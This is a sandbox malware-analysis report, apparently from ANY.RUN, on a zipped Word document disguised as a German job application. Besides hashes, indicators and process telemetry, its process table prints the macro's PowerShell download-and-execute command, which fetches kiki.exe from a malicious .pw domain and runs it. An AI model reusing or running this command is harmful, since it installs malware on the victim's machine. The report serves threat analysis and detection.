analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

Sofia Kohl - Bewerbung.do_.zip

Full analysis: https://app.any.run/tasks/9a1e262b-b238-4ff4-b9e8-986ef8a1d05c
Verdict: Malicious activity
Analysis date: January 11, 2019, 07:48:58
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/zip
File info: Zip archive data, at least v2.0 to extract
MD5:

9B03A6CB6468BDC4604770F0D8A4B9DC

SHA1:

9963FE1E1AF8CC3D6696F529CE44D41CE24FDC93

SHA256:

B43B220DBA62C1DE06507F21F9282F7B729CA4F0AAC621B8762701E8944B4218

SSDEEP:

1536:v+TSJ/HVpPfzYgWgXKDAXYUTd8873IQmshLPz3EyIaJIgDTZqmB9+t+5Knualy:v+2J/HV536sbTd887YzoDELmDF+w5aly

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Starts CMD.EXE for commands execution

      • WINWORD.EXE (PID: 3688)
    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 3688)
    • Executes PowerShell scripts

      • cmd.exe (PID: 3824)
  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 3192)
  • INFO

    • Application launched itself

      • chrome.exe (PID: 3460)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3688)
    • Creates files in the user directory

      • WINWORD.EXE (PID: 3688)
    • Reads settings of System Certificates

      • chrome.exe (PID: 3460)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipFileName: Sofia_Kohl_-_Bewerbung.doc
ZipUncompressedSize: 74517
ZipCompressedSize: 68385
ZipCRC: 0xe86a053e
ZipModifyDate: 2018:12:07 18:10:18
ZipCompression: Deflated
ZipBitFlag: 0x0001
ZipRequiredVersion: 788
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
48
Monitored processes
16
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winrar.exe no specs winword.exe no specs cmd.exe no specs powershell.exe no specs chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2720"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\Sofia Kohl - Bewerbung.do_.zip"C:\Program Files\WinRAR\WinRAR.exeexplorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.60.0
3688"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\Sofia_Kohl_-_Bewerbung.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
3824cmd /c powErshEll(New-Object System.Net.WebClient).DownloadFile('http://tokotikotoko.pw/kiki.exe','%temp%\xkbkagcm.exe');start %temp%\xkbkagcm.exeC:\Windows\system32\cmd.exeWINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3192powErshEll (New-Object System.Net.WebClient).DownloadFile('http://tokotikotoko.pw/kiki.exe','C:\Users\admin\AppData\Local\Temp\xkbkagcm.exe');start C:\Users\admin\AppData\Local\Temp\xkbkagcm.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3460"C:\Program Files\Google\Chrome\Application\chrome.exe" C:\Program Files\Google\Chrome\Application\chrome.exe
explorer.exe
User:
admin
Company:
Google Inc.
Integrity Level:
MEDIUM
Description:
Google Chrome
Exit code:
3221225547
Version:
68.0.3440.106
1488"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win32 --annotation=prod=Chrome --annotation=ver=68.0.3440.106 --initial-client-data=0x78,0x7c,0x80,0x74,0x84,0x6f5600b0,0x6f5600c0,0x6f5600ccC:\Program Files\Google\Chrome\Application\chrome.exechrome.exe
User:
admin
Company:
Google Inc.
Integrity Level:
MEDIUM
Description:
Google Chrome
Exit code:
0
Version:
68.0.3440.106
3288"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=watcher --main-thread-id=3452 --on-initialized-event-handle=304 --parent-handle=308 /prefetch:6C:\Program Files\Google\Chrome\Application\chrome.exechrome.exe
User:
admin
Company:
Google Inc.
Integrity Level:
MEDIUM
Description:
Google Chrome
Exit code:
0
Version:
68.0.3440.106
2400"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=992,7799403707918712813,11620927515689659268,131072 --enable-features=PasswordImport --gpu-preferences=KAAAAAAAAACAAwBAAQAAAAAAAAAAAGAAEAAAAAAAAAAAAAAAAAAAACgAAAAEAAAAIAAAAAAAAAAoAAAAAAAAADAAAAAAAAAAOAAAAAAAAAAQAAAAAAAAAAAAAAAKAAAAEAAAAAAAAAAAAAAACwAAABAAAAAAAAAAAQAAAAoAAAAQAAAAAAAAAAEAAAALAAAA --service-request-channel-token=EC2E2A39FC1017BF755AA28B3C33238A --mojo-platform-channel-handle=1052 --ignored=" --type=renderer " /prefetch:2C:\Program Files\Google\Chrome\Application\chrome.exechrome.exe
User:
admin
Company:
Google Inc.
Integrity Level:
LOW
Description:
Google Chrome
Exit code:
0
Version:
68.0.3440.106
2904"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=992,7799403707918712813,11620927515689659268,131072 --enable-features=PasswordImport --service-pipe-token=636D714B10631DB668A79501753EC12C --lang=en-US --instant-process --enable-offline-auto-reload --enable-offline-auto-reload-visible-only --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --service-request-channel-token=636D714B10631DB668A79501753EC12C --renderer-client-id=5 --mojo-platform-channel-handle=1912 /prefetch:1C:\Program Files\Google\Chrome\Application\chrome.exechrome.exe
User:
admin
Company:
Google Inc.
Integrity Level:
LOW
Description:
Google Chrome
Exit code:
0
Version:
68.0.3440.106
3480"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=992,7799403707918712813,11620927515689659268,131072 --enable-features=PasswordImport --service-pipe-token=DC909FC10A91FC81289D9B8EE7C9CCCD --lang=en-US --extension-process --enable-offline-auto-reload --enable-offline-auto-reload-visible-only --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --service-request-channel-token=DC909FC10A91FC81289D9B8EE7C9CCCD --renderer-client-id=3 --mojo-platform-channel-handle=1532 /prefetch:1C:\Program Files\Google\Chrome\Application\chrome.exechrome.exe
User:
admin
Company:
Google Inc.
Integrity Level:
LOW
Description:
Google Chrome
Exit code:
0
Version:
68.0.3440.106
Total events
2 221
Read events
1 459
Write events
747
Delete events
15

Modification events

(PID) Process:(2720) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtBMP
Value:
(PID) Process:(2720) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtIcon
Value:
(PID) Process:(2720) WinRAR.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\5F\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(2720) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\AppData\Local\Temp\Sofia Kohl - Bewerbung.do_.zip
(PID) Process:(2720) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(2720) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(2720) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(2720) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
(PID) Process:(2720) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface
Operation:writeName:ShowPassword
Value:
0
(PID) Process:(2720) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\MainWin
Operation:writeName:Placement
Value:
2C0000000000000001000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF42000000420000000204000037020000
Executable files
0
Suspicious files
57
Text files
87
Unknown types
14

Dropped files

PID
Process
Filename
Type
3688WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRF265.tmp.cvr
MD5:
SHA256:
3688WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\78993D57.png
MD5:
SHA256:
3192powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5AJ8SQOYMXT3XHQ36Q88.temp
MD5:
SHA256:
3688WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{CAE284CE-6738-4FF1-A8C6-940F9B6634FE}.tmp
MD5:
SHA256:
3688WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{ED3D38B9-7AE4-49A1-96C1-D7C74E9A116A}.tmp
MD5:
SHA256:
3688WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{700C7E6B-7802-4407-8987-A5286541237F}.tmp
MD5:
SHA256:
3460chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\7bd42ef6-3ba8-4770-b001-43ae11525023.tmp
MD5:
SHA256:
3460chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB\000016.dbtmp
MD5:
SHA256:
3460chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\000016.dbtmp
MD5:
SHA256:
2720WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRb2720.47991\Sofia_Kohl_-_Bewerbung.docdocument
MD5:ABD244239B80F1EB97E9700AB80431CA
SHA256:1F9D54A08BD8A407F7215D5246008189E9FD9DA061B89DF09A32079E6D4526E2
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
29
DNS requests
18
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3460
chrome.exe
172.217.23.131:443
www.gstatic.com
Google Inc.
US
whitelisted
3460
chrome.exe
216.58.206.3:443
ssl.gstatic.com
Google Inc.
US
whitelisted
3460
chrome.exe
172.217.18.106:443
safebrowsing.googleapis.com
Google Inc.
US
whitelisted
3460
chrome.exe
172.217.22.3:443
www.google.de
Google Inc.
US
whitelisted
3460
chrome.exe
216.58.207.67:443
clientservices.googleapis.com
Google Inc.
US
whitelisted
3460
chrome.exe
172.217.18.13:443
accounts.google.com
Google Inc.
US
whitelisted
3460
chrome.exe
172.217.22.106:443
fonts.googleapis.com
Google Inc.
US
whitelisted
3460
chrome.exe
172.217.22.110:443
apis.google.com
Google Inc.
US
whitelisted
3460
chrome.exe
172.217.22.78:443
chrome.google.com
Google Inc.
US
whitelisted
3460
chrome.exe
64.233.184.94:443
csi.gstatic.com
Google Inc.
US
whitelisted

DNS requests

Domain
IP
Reputation
tokotikotoko.pw
malicious
clientservices.googleapis.com
  • 216.58.207.67
whitelisted
www.gstatic.com
  • 172.217.23.131
whitelisted
www.google.de
  • 172.217.22.3
whitelisted
safebrowsing.googleapis.com
  • 172.217.18.106
whitelisted
accounts.google.com
  • 172.217.18.13
shared
ssl.gstatic.com
  • 216.58.206.3
whitelisted
apis.google.com
  • 172.217.22.110
whitelisted
csi.gstatic.com
  • 64.233.184.94
  • 64.233.184.120
  • 74.125.126.94
  • 74.125.126.120
  • 108.177.12.94
  • 108.177.12.120
  • 74.125.23.94
  • 74.125.23.120
  • 74.125.28.94
  • 74.125.28.120
  • 74.125.200.94
  • 74.125.200.120
  • 64.233.161.94
  • 64.233.161.120
  • 74.125.128.94
  • 74.125.128.120
whitelisted
chrome.google.com
  • 172.217.22.78
whitelisted

Threats

PID
Process
Class
Message
Potentially Bad Traffic
ET DNS Query to a *.pw domain - Likely Hostile
No debug info